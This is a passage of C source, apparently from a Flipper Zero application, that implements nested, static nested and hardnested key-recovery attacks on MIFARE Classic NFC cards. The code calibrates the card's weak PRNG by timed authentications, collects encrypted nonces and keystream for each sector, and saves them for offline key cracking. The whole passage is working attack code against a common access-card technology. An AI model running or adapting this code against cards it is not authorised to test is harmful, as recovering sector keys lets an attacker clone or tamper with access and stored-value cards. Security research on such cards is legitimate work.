mifare_nested_worker.c 58 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include <lib/nfc/protocols/nfc_util.h>
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/file_stream.h>
  8. #include "string.h"
  9. #include <furi.h>
  10. #include <furi_hal.h>
  11. #define TAG "MifareNestedWorker"
  12. // possible sum property values
  13. static uint16_t sums[] =
  14. {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
  15. void mifare_nested_worker_change_state(
  16. MifareNestedWorker* mifare_nested_worker,
  17. MifareNestedWorkerState state) {
  18. furi_assert(mifare_nested_worker);
  19. mifare_nested_worker->state = state;
  20. }
  21. MifareNestedWorker* mifare_nested_worker_alloc() {
  22. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  23. // Worker thread attributes
  24. mifare_nested_worker->thread = furi_thread_alloc_ex(
  25. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  26. mifare_nested_worker->callback = NULL;
  27. mifare_nested_worker->context = NULL;
  28. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  29. return mifare_nested_worker;
  30. }
  31. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  32. furi_assert(mifare_nested_worker);
  33. furi_thread_free(mifare_nested_worker->thread);
  34. free(mifare_nested_worker);
  35. }
  36. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  37. furi_assert(mifare_nested_worker);
  38. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  39. furi_thread_join(mifare_nested_worker->thread);
  40. }
  41. void mifare_nested_worker_start(
  42. MifareNestedWorker* mifare_nested_worker,
  43. MifareNestedWorkerState state,
  44. NfcDeviceData* dev_data,
  45. MifareNestedWorkerCallback callback,
  46. void* context) {
  47. furi_assert(mifare_nested_worker);
  48. furi_assert(dev_data);
  49. mifare_nested_worker->callback = callback;
  50. mifare_nested_worker->context = context;
  51. mifare_nested_worker->dev_data = dev_data;
  52. mifare_nested_worker_change_state(mifare_nested_worker, state);
  53. furi_thread_start(mifare_nested_worker->thread);
  54. }
  55. int32_t mifare_nested_worker_task(void* context) {
  56. MifareNestedWorker* mifare_nested_worker = context;
  57. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  58. mifare_nested_worker_check(mifare_nested_worker);
  59. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  60. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  61. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  62. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  63. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  64. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  65. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  66. mifare_nested_worker_check_keys(mifare_nested_worker);
  67. }
  68. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  69. return 0;
  70. }
  71. void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
  72. uint8_t* uid = data->uid;
  73. uint8_t uid_len = data->uid_len;
  74. for(size_t i = 0; i < uid_len; i++) {
  75. uint8_t uid_part = uid[i];
  76. furi_string_cat_printf(string, "%02X", uid_part);
  77. }
  78. }
  79. void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  80. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  81. mifare_nested_worker_write_uid_string(data, file_path);
  82. furi_string_cat_printf(file_path, ".keys");
  83. }
  84. void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  85. furi_string_set(file_path, NESTED_FOLDER "/");
  86. mifare_nested_worker_write_uid_string(data, file_path);
  87. furi_string_cat_printf(file_path, ".nonces");
  88. }
  89. void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  90. furi_string_set(file_path, NESTED_FOLDER "/");
  91. mifare_nested_worker_write_uid_string(data, file_path);
  92. furi_string_cat_printf(file_path, ".keys");
  93. }
  94. void mifare_nested_worker_get_hardnested_folder_path(
  95. FuriHalNfcDevData* data,
  96. FuriString* file_path) {
  97. furi_string_set(file_path, NESTED_FOLDER "/");
  98. mifare_nested_worker_write_uid_string(data, file_path);
  99. }
  100. void mifare_nested_worker_get_hardnested_file_path(
  101. FuriHalNfcDevData* data,
  102. FuriString* file_path,
  103. uint8_t sector,
  104. uint8_t key_type) {
  105. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  106. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  107. }
  108. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  109. furi_assert(sector < 40);
  110. if(sector < 32) {
  111. return (sector * 4) + 3;
  112. } else {
  113. return 32 * 4 + (sector - 32) * 16 + 15;
  114. }
  115. }
  116. static MfClassicSectorTrailer*
  117. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  118. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  119. .value;
  120. }
  121. bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
  122. Storage* storage = furi_record_open(RECORD_STORAGE);
  123. FuriString* temp_str = furi_string_alloc();
  124. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  125. FlipperFormat* file = flipper_format_file_alloc(storage);
  126. bool load_success = false;
  127. uint32_t sector_count = 0;
  128. do {
  129. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  130. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  131. uint32_t version = 0;
  132. if(!flipper_format_read_header(file, temp_str, &version)) break;
  133. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  134. if(version != 1) break;
  135. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  136. if(!furi_string_cmp(temp_str, "1K")) {
  137. mf_data->type = MfClassicType1k;
  138. sector_count = 16;
  139. } else if(!furi_string_cmp(temp_str, "4K")) {
  140. mf_data->type = MfClassicType4k;
  141. sector_count = 40;
  142. } else if(!furi_string_cmp(temp_str, "MINI")) {
  143. mf_data->type = MfClassicTypeMini;
  144. sector_count = 5;
  145. } else {
  146. break;
  147. }
  148. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  149. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  150. bool key_read_success = true;
  151. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  152. MfClassicSectorTrailer* sec_tr =
  153. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  154. if(FURI_BIT(mf_data->key_a_mask, i)) {
  155. furi_string_printf(temp_str, "Key A sector %d", i);
  156. key_read_success = flipper_format_read_hex(
  157. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  158. }
  159. if(!key_read_success) break;
  160. if(FURI_BIT(mf_data->key_b_mask, i)) {
  161. furi_string_printf(temp_str, "Key B sector %d", i);
  162. key_read_success = flipper_format_read_hex(
  163. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  164. }
  165. }
  166. load_success = key_read_success;
  167. } while(false);
  168. furi_string_free(temp_str);
  169. flipper_format_free(file);
  170. return load_success;
  171. }
  172. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  173. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  174. if(c <= '9') {
  175. *nibble = c - '0';
  176. } else if(c <= 'F') {
  177. *nibble = c - 'A' + 10;
  178. } else {
  179. *nibble = c - 'a' + 10;
  180. }
  181. return true;
  182. } else {
  183. return false;
  184. }
  185. }
  186. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  187. uint8_t hi_nibble_value, low_nibble_value;
  188. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  189. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  190. *value = (hi_nibble_value << 4) | low_nibble_value;
  191. return true;
  192. } else {
  193. return false;
  194. }
  195. }
  196. void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
  197. for(uint8_t sector = 0; sector < sector_count; sector++) {
  198. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  199. for(uint8_t tries = 0; tries < tries_count; tries++) {
  200. free(nonces->nonces[sector][key_type][tries]);
  201. }
  202. }
  203. }
  204. }
  205. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  206. UNUSED(ATQA1);
  207. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  208. if((SAK == 0x08 || SAK == 0x88)) {
  209. return MfClassicType1k;
  210. } else if(SAK == 0x09) {
  211. return MfClassicTypeMini;
  212. }
  213. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  214. //skylanders support
  215. return MfClassicType1k;
  216. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  217. return MfClassicType4k;
  218. }
  219. return MfClassicType1k;
  220. }
  221. uint32_t mifare_nested_worker_predict_delay(
  222. FuriHalNfcTxRxContext* tx_rx,
  223. uint8_t blockNo,
  224. uint8_t keyType,
  225. uint64_t ui64Key,
  226. uint32_t tries,
  227. MifareNestedWorker* mifare_nested_worker) {
  228. uint32_t cuid = 0;
  229. Crypto1* crypto = malloc(sizeof(Crypto1));
  230. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  231. if(tries > 25) {
  232. free(crypto);
  233. return 2; // Too many tries, fallback to hardnested
  234. }
  235. // This part of attack is my attempt to implement it on Flipper.
  236. // Proxmark can do this in 2 fucking steps, but idk how.
  237. // First, we find RPNG rounds per 1000 us
  238. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  239. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  240. free(crypto);
  241. return 1;
  242. }
  243. nfc_activate();
  244. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  245. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  246. furi_delay_us(rtr * 1000);
  247. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  248. // Searching for delay, where PRNG will be near 800
  249. uint32_t nttmp = prng_successor(nt1, 100);
  250. for(i = 101; i < 65565; i++) {
  251. nttmp = prng_successor(nttmp, 1);
  252. if(nttmp == nt2) break;
  253. }
  254. if(!rtr) {
  255. zero_prng_value = i;
  256. }
  257. if(previous && i > previous && i != 65565) {
  258. if(!prng_delay) {
  259. prng_delay = i - previous;
  260. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  261. prng_delay += i - previous;
  262. prng_delay /= 2;
  263. }
  264. }
  265. previous = i;
  266. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  267. // Let's hope...
  268. if(i > 810 && i < 840) {
  269. free(crypto);
  270. return rtr * 1000;
  271. }
  272. }
  273. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  274. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  275. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  276. if(zero_prng_value == 65565) {
  277. free(crypto);
  278. // PRNG isn't pretictable
  279. return 1;
  280. }
  281. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  282. uint32_t limit = 7;
  283. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  284. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  285. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  286. free(crypto);
  287. return 1;
  288. }
  289. nfc_activate();
  290. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  291. uint32_t delay = rtr * 1000 + rtz * 10;
  292. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  293. furi_delay_us(delay);
  294. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  295. // Searching for delay, where PRNG will be near 800
  296. uint32_t nttmp = prng_successor(nt1, 0);
  297. for(i = 1; i < 65565; i++) {
  298. nttmp = prng_successor(nttmp, 1);
  299. if(nttmp == nt2) break;
  300. }
  301. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  302. repeat++;
  303. if(repeat < 5) {
  304. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  305. continue;
  306. }
  307. }
  308. if(i > 2000 && i < 65500) {
  309. uint32_t catch_cycles = (65565 - i) / prng_delay;
  310. if(catch_cycles > 2) {
  311. catch_cycles++;
  312. FURI_LOG_D(
  313. TAG,
  314. "Trying a more accurate value: skipping additional %lu us",
  315. catch_cycles * 1000);
  316. limit += catch_cycles + 2;
  317. rtr += catch_cycles;
  318. }
  319. }
  320. FURI_LOG_D(
  321. TAG,
  322. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  323. i,
  324. delay,
  325. (cycles_to_reset + limit) * 1000);
  326. repeat = 0;
  327. previous = i;
  328. if(i > 810 && i < 840) {
  329. free(crypto);
  330. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  331. return delay;
  332. } else if(i > 840 && i < 40000) {
  333. FURI_LOG_D(TAG, "Trying again: timing lost");
  334. tries++;
  335. free(crypto);
  336. return mifare_nested_worker_predict_delay(
  337. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  338. }
  339. }
  340. }
  341. if(i > 1000 && i < 65000) {
  342. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  343. tries++;
  344. free(crypto);
  345. return mifare_nested_worker_predict_delay(
  346. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  347. }
  348. free(crypto);
  349. return 1;
  350. }
  351. void mifare_nested_worker_write_nonces(
  352. FuriHalNfcDevData* data,
  353. Storage* storage,
  354. NonceList_t* nonces,
  355. uint8_t tries_count,
  356. uint8_t free_tries_count,
  357. uint8_t sector_count,
  358. uint32_t delay,
  359. uint32_t distance) {
  360. FuriString* path = furi_string_alloc();
  361. Stream* file_stream = file_stream_alloc(storage);
  362. mifare_nested_worker_get_nonces_file_path(data, path);
  363. file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  364. FuriString* header = furi_string_alloc_printf(
  365. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  366. NESTED_NONCE_FORMAT_VERSION,
  367. NESTED_RECOVER_KEYS_GITHUB_LINK);
  368. stream_write_string(file_stream, header);
  369. for(uint8_t tries = 0; tries < tries_count; tries++) {
  370. for(uint8_t sector = 0; sector < sector_count; sector++) {
  371. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  372. if(nonces->nonces[sector][key_type][tries]->collected &&
  373. !nonces->nonces[sector][key_type][tries]->skipped) {
  374. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  375. FuriString* path = furi_string_alloc();
  376. mifare_nested_worker_get_hardnested_file_path(
  377. data, path, sector, key_type);
  378. FuriString* str = furi_string_alloc_printf(
  379. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  380. !key_type ? 'A' : 'B',
  381. nonces->cuid,
  382. furi_string_get_cstr(path),
  383. sector);
  384. stream_write_string(file_stream, str);
  385. furi_string_free(path);
  386. furi_string_free(str);
  387. } else {
  388. FuriString* str = furi_string_alloc_printf(
  389. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  390. for(uint8_t type = 0; type < 2; type++) {
  391. furi_string_cat_printf(
  392. str,
  393. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  394. type,
  395. nonces->nonces[sector][key_type][tries]->target_nt[type],
  396. type,
  397. nonces->nonces[sector][key_type][tries]->target_ks[type],
  398. type);
  399. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  400. for(uint8_t i = 0; i < 4; i++) {
  401. furi_string_cat_printf(str, "%u", par[i]);
  402. }
  403. }
  404. furi_string_cat_printf(str, " sec %u\n", sector);
  405. stream_write_string(file_stream, str);
  406. furi_string_free(str);
  407. }
  408. }
  409. }
  410. }
  411. }
  412. if(delay) {
  413. FuriString* str =
  414. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  415. stream_write_string(file_stream, str);
  416. furi_string_free(str);
  417. }
  418. free_nonces(nonces, sector_count, free_tries_count);
  419. furi_string_free(path);
  420. file_stream_close(file_stream);
  421. free(file_stream);
  422. furi_record_close(RECORD_STORAGE);
  423. }
  424. bool mifare_nested_worker_check_initial_keys(
  425. NonceList_t* nonces,
  426. MfClassicData* mf_data,
  427. uint8_t tries_count,
  428. uint8_t sector_count,
  429. uint64_t* key,
  430. uint32_t* key_block,
  431. uint32_t* found_key_type) {
  432. bool has_a_key, has_b_key;
  433. FuriHalNfcTxRxContext tx_rx = {};
  434. for(uint8_t sector = 0; sector < sector_count; sector++) {
  435. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  436. for(uint8_t tries = 0; tries < tries_count; tries++) {
  437. Nonces* info = malloc(sizeof(Nonces));
  438. info->key_type = key_type;
  439. info->block = mifare_nested_worker_get_block_by_sector(sector);
  440. info->collected = false;
  441. info->skipped = true;
  442. nonces->nonces[sector][key_type][tries] = info;
  443. }
  444. }
  445. }
  446. for(uint8_t sector = 0; sector < sector_count; sector++) {
  447. MfClassicSectorTrailer* trailer =
  448. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  449. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  450. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  451. if(has_a_key) {
  452. for(uint8_t tries = 0; tries < tries_count; tries++) {
  453. Nonces* info = nonces->nonces[sector][0][tries];
  454. info->collected = true;
  455. info->skipped = true;
  456. nonces->nonces[sector][0][tries] = info;
  457. }
  458. if(*key_block == 0) {
  459. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  460. if(nested_check_key(
  461. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  462. NestedCheckKeyValid) {
  463. *key = key_check;
  464. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  465. *found_key_type = 0;
  466. }
  467. }
  468. }
  469. if(has_b_key) {
  470. for(uint8_t tries = 0; tries < tries_count; tries++) {
  471. Nonces* info = nonces->nonces[sector][1][tries];
  472. info->collected = true;
  473. info->skipped = true;
  474. nonces->nonces[sector][1][tries] = info;
  475. }
  476. if(*key_block == 0) {
  477. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  478. if(nested_check_key(
  479. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  480. NestedCheckKeyValid) {
  481. *key = key_check;
  482. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  483. *found_key_type = 1;
  484. }
  485. }
  486. }
  487. }
  488. nonces->cuid = 0;
  489. nonces->hardnested_states = 0;
  490. nonces->sector_count = sector_count;
  491. nonces->tries = tries_count;
  492. return *key_block;
  493. }
  494. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  495. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  496. FuriHalNfcTxRxContext tx_rx = {};
  497. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  498. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  499. FuriHalNfcDevData data = {};
  500. MifareNestedNonceType type = MifareNestedNonceNoTag;
  501. nested_get_data(&data);
  502. if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
  503. for(uint8_t sector = 0; sector < 40; sector++) {
  504. if(FURI_BIT(mf_data->key_a_mask, sector) ||
  505. FURI_BIT(mf_data->key_b_mask, sector)) {
  506. type = nested_check_nonce_type(
  507. &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
  508. break;
  509. }
  510. }
  511. if(type == MifareNestedNonceNoTag) {
  512. type = nested_check_nonce_type(&tx_rx, 0);
  513. }
  514. } else {
  515. type = nested_check_nonce_type(&tx_rx, 0);
  516. }
  517. if(type == MifareNestedNonceStatic) {
  518. mifare_nested_worker->context->collecting_type =
  519. MifareNestedWorkerStateCollectingStatic;
  520. mifare_nested_worker->callback(
  521. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  522. break;
  523. } else if(type == MifareNestedNonceWeak) {
  524. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  525. mifare_nested_worker->callback(
  526. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  527. break;
  528. } else if(type == MifareNestedNonceHard) {
  529. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
  530. mifare_nested_worker->callback(
  531. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  532. break;
  533. }
  534. furi_delay_ms(250);
  535. }
  536. nfc_deactivate();
  537. }
  538. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  539. NonceList_t nonces;
  540. Storage* storage = furi_record_open(RECORD_STORAGE);
  541. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  542. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  543. FuriString* folder_path = furi_string_alloc();
  544. FuriHalNfcDevData data = {};
  545. nested_get_data(&data);
  546. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  547. uint64_t key = 0; // Found key for attack
  548. uint32_t found_key_type = 0;
  549. uint32_t key_block = 0;
  550. uint32_t sector_count = 0;
  551. FURI_LOG_I(TAG, "Running Static Nested attack");
  552. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  553. mifare_nested_worker_write_uid_string(&data, tag_info);
  554. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  555. furi_string_free(tag_info);
  556. if(type == MfClassicType4k) {
  557. sector_count = 40;
  558. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  559. } else if(type == MfClassicType1k) {
  560. sector_count = 16;
  561. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  562. } else { // if(type == MfClassicTypeMini)
  563. sector_count = 5;
  564. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  565. }
  566. furi_string_set(folder_path, NESTED_FOLDER);
  567. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  568. furi_string_free(folder_path);
  569. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  570. !mifare_nested_worker_check_initial_keys(
  571. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  572. mifare_nested_worker->callback(
  573. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  574. nfc_deactivate();
  575. free(mf_data);
  576. free_nonces(&nonces, sector_count, 1);
  577. return;
  578. }
  579. FURI_LOG_I(
  580. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  581. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  582. FuriHalNfcTxRxContext tx_rx = {};
  583. for(uint8_t sector = 0; sector < sector_count; sector++) {
  584. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  585. Nonces* info = nonces.nonces[sector][key_type][0];
  586. if(info->collected) {
  587. FURI_LOG_I(
  588. TAG,
  589. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  590. sector,
  591. mifare_nested_worker_get_block_by_sector(sector),
  592. key_type);
  593. info->skipped = true;
  594. nonces.nonces[sector][key_type][0] = info;
  595. mifare_nested_worker->context->nonces = &nonces;
  596. mifare_nested_worker->callback(
  597. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  598. continue;
  599. }
  600. if(!nested_check_block(
  601. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  602. FURI_LOG_E(
  603. TAG,
  604. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  605. sector,
  606. mifare_nested_worker_get_block_by_sector(sector),
  607. key_type);
  608. info->skipped = true;
  609. nonces.nonces[sector][key_type][0] = info;
  610. mifare_nested_worker->context->nonces = &nonces;
  611. mifare_nested_worker->callback(
  612. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  613. continue;
  614. }
  615. while(!info->collected) {
  616. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  617. break;
  618. }
  619. struct nonce_info_static result = nested_static_nonce_attack(
  620. &tx_rx,
  621. key_block,
  622. found_key_type,
  623. mifare_nested_worker_get_block_by_sector(sector),
  624. key_type,
  625. key);
  626. if(result.full) {
  627. FURI_LOG_I(
  628. TAG,
  629. "Accured nonces for sector %u, block %u, key_type: %u",
  630. sector,
  631. mifare_nested_worker_get_block_by_sector(sector),
  632. key_type);
  633. info = nonces.nonces[sector][key_type][0];
  634. info->collected = true;
  635. info->skipped = false;
  636. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  637. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  638. nonces.nonces[sector][key_type][0] = info;
  639. nonces.cuid = result.cuid;
  640. nonces.sector_count = sector_count;
  641. mifare_nested_worker->context->nonces = &nonces;
  642. mifare_nested_worker->callback(
  643. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  644. break;
  645. } else {
  646. mifare_nested_worker->callback(
  647. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  648. }
  649. }
  650. }
  651. }
  652. break;
  653. }
